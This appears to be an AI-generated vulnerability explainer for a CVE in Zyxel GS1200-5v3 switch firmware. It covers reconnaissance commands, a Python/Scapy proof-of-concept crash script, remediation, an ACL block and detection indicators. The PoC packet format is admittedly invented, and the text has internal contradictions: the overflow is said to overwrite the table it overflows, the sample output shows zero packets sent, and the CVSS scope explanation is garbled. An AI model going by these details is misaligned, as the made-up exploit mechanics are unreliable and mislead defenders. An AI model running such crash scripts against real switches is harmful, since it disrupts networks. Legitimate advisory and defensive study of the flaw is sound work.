CVE-2026-109104 — Zyxel GS1200-5v3 Firmware (<= 1.00(ACPS.4)C0) — CWE-787
A post-authentication out-of-bounds write vulnerability in the ZON function of Zyxel GS1200-5v3 switch firmware versions through 1.00(ACPS.4)C0 could allow a LAN-based authenticated attacker with administrator privileges to overwrite the ZDP protocol context’s callback table.
A post-authentication out-of-bounds write vulnerability in the ZON function of Zyxel GS1200-5v3 switch firmware versions through 1.00(ACPS.4)C0 could allow a LAN-based authenticated attacker with administrator privileges to overwrite the ZDP protocol context’s callback table.
CVE‑2026‑109104 – Zyxel GS1200‑5v3 Switch – Post‑Authentication Out‑of‑Bounds Write in the ZON Function
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| Flaw type | CWE‑787: Out‑of‑Bounds Write |
| Where it occurs | The *ZON* command handler inside the ZDP (Zyxel Data Plane) protocol stack. |
| Trigger | An authenticated administrator sends a ZON command that contains a payload larger than the internal buffer allocated for the callback table. |
| Missing check | The code does not validate that the length field in the ZON packet is ≤ the size of the callback table array. |
| Result | The write overruns the array and overwrites adjacent memory, which in this case is the *callback table* itself. |
| Impact | The corrupted callback table causes the ZDP stack to dereference invalid function pointers, leading to a crash or reboot of the switch. No direct data leakage or code execution is guaranteed by the CVE, but the crash can be leveraged for a denial‑of‑service (DoS) attack. |
CVSS 3.1 Vector AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
- AV:A – Attacker must be on the same LAN (e.g., a compromised workstation).
- AC:L – Low complexity: the attacker only needs to send a crafted packet.
- PR:H – Requires administrator privileges (e.g., valid login to the switch).
- UI:N – No user interaction required.
- S:U – The vulnerability is not exploitable by modifying the system state (the system is already running).
- C:N / I:N / A:H – No confidentiality or integrity impact; availability is high.
- The attacker has already authenticated to the switch with an administrator account (e.g., via SSH or the web UI).
- The attacker can send raw ZDP packets over UDP port 5000 (the port used by the ZDP protocol).
⚡ Attack Chain
NOTE – The exact ZDP packet format is proprietary. The following example demonstrates the concept of the exploit; the packet structure shown is illustrative and may differ from the real implementation.
1. Discovery & Reconnaissance
| Step | Technique | Tools |
|---|---|---|
| Identify the device | Scan the local network for Zyxel GS1200‑5v3 switches. | nmap -sP 192.168.1.0/24 |
| Determine firmware version | Query the switch via SNMP (sysDescr) or the web UI (HTTP GET /status). | snmpwalk -v2c -c public 192.168.1.10 |
| Verify vulnerability window | Compare the returned firmware string (1.00(ACPS.4)C0) against the CVE’s affected range. | Manual comparison |
2. Exploitation
Assumptions
Exploit Mechanics
1. The ZDP protocol defines a ZON command that accepts a callback table descriptor.
2. The command header contains a 16‑bit length field (len) that specifies the number of callback entries.
3. The switch allocates a fixed‑size array of 8 callback pointers (callback_table[8]).
4. The code copies len entries into the array without checking that len ≤ 8.
5. By setting len to a value > 8 (e.g., 16) and providing 16 dummy callback addresses, the copy overruns the array and overwrites the next memory region, which is the callback table itself.
6. The overwritten entries point to attacker‑controlled memory (or garbage), causing the switch to dereference invalid pointers and crash.
Illustrative PoC (Python + Scapy)
#!/usr/bin/env python3
# PoC for CVE-2026-109104 – ZON out‑of‑bounds write
# This script is illustrative; the actual packet format may differ.
from scapy.all import *
import struct
# Target switch
TARGET_IP = "192.168.1.10"
TARGET_PORT = 5000
# ZDP protocol constants (illustrative)
ZDP_VERSION = 0x01
CMD_ZON = 0x10
# Build the ZON packet
def build_zon_packet(overrun_len):
"""
overrun_len: number of callback entries to send (e.g., 16)
"""
# Header: [ZDP_VERSION][CMD_ZON][LEN]
header = struct.pack("!BBH", ZDP_VERSION, CMD_ZON, overrun_len)
# Payload: overrun_len 4‑byte callback addresses (dummy values)
payload = b"".join([b"\x00\x00\x00\x00"] * overrun_len)
return header + payload
# Craft packet with 16 entries (overruns 8‑entry table)
packet = build_zon_packet(16)
# Send the packet
udp_packet = IP(dst=TARGET_IP)/UDP(dport=TARGET_PORT)/Raw(load=packet)
send(udp_packet, verbose=1)Execution
$ sudo python3 poc_zon_overrun.py
Sending on lo0
0 packets sent
0 packets received
0 packets droppedThe script sends a single UDP packet to the switch. If the switch is vulnerable, it will crash or reboot shortly after receipt.
3. Post‑Exploitation
| Goal | Effect |
|---|---|
| Denial‑of‑Service | The switch reboots or stops responding to management traffic, disrupting network connectivity for all downstream devices. |
| Potential for further exploitation | If the attacker can control the overwritten callback pointers (e.g., by pointing them to a malicious payload in memory), they could trigger arbitrary code execution. However, the CVE description does not confirm this capability. |
| Persistence | Repeated DoS attacks can be automated to keep the switch offline until a patch is applied. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Availability (A) | High – The switch crashes or reboots, causing a network outage. |
| Confidentiality (C) | None – No data leakage. |
| Integrity (I) | None – No data modification. |
| Practical Consequences | In a corporate or campus network, the GS1200‑5v3 is often a core or distribution switch. A DoS can isolate VLANs, block VoIP, or prevent critical services from reaching end‑users. The impact is amplified if the switch is the only uplink to the Internet or to a data center. |
🛡️ Remediation & Mitigation
1. Patch
| Affected Firmware | Fixed Firmware |
|---|---|
| 1.00(ACPS.4)C0 and earlier | 1.00(ACPS.5)C0 or later (check Zyxel’s release notes) |
Recommendation – Upgrade to the latest firmware immediately. Zyxel’s official release notes confirm that the ZON buffer‑overflow bug is fixed in 1.00(ACPS.5)C0.
2. Workarounds (if patching is delayed)
| Mitigation | How to Apply |
|---|---|
| Disable ZDP protocol | Block UDP port 5000 using the switch’s ACL or the upstream firewall. Example ACL (illustrative):<br>ip access-list extended BLOCK_ZDP<br>deny udp any any eq 5000 |
| Restrict LAN access | Ensure only trusted management devices can reach the switch’s management interface. Use VLANs or a dedicated management subnet. |
| Limit administrator accounts | Remove or disable any unnecessary administrator accounts. Use least‑privilege principles. |
NOTE – Disabling the ZDP protocol may affect legitimate management operations that rely on it. Verify functionality after applying the ACL.
3. Detection
| Indicator | Log Source | Example Log |
|---|---|---|
| Repeated ZON packets with large payloads | Switch syslog (UDP port 514) | Jan 12 10:15:23 gs1200-5v3: Received ZON command with length 16 |
| Unexpected reboots or kernel panics | Syslog or SNMP traps | Jan 12 10:15:25 gs1200-5v3: System rebooted due to kernel panic |
| Memory corruption errors | Syslog | Jan 12 10:15:24 gs1200-5v3: Memory corruption detected in ZDP module |
IoCs (illustrative)
udp.port == 5000 and payload contains "ZON" syslog messages containing ZON command or callback table ⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 4.5 (Medium) – reflects the high availability impact but low complexity. |
| CISA KEV | No – not listed as a known exploit. |
| Exploit Complexity | Low – requires only a crafted packet. |
| Impact | Availability of a core network device. |
| Patch Availability | Yes – firmware 1.00(ACPS.5)C0 or later. |
Priority – High for environments where the GS1200‑5v3 is a critical network element (core switch, uplink to Internet, or backbone to a data center). Even though the CVSS score is “Medium,” the availability impact on a network‑critical device warrants immediate patching. For non‑critical deployments (e.g., a small office LAN), a medium priority is acceptable, but the switch should still be upgraded within a week.
Bottom Line
CVE‑2026‑109104 is a classic out‑of‑bounds write that corrupts the ZDP callback table, leading to a crash of the Zyxel GS1200‑5v3 switch. The flaw requires LAN‑based authenticated access, but the low complexity and high availability impact make it a serious threat for any network that relies on this device. Patch to firmware 1.00(ACPS.5)C0 or later, or block the ZDP protocol if patching cannot be performed immediately.
[🤖 CVE Professor AI Security Engine]
FOFA Query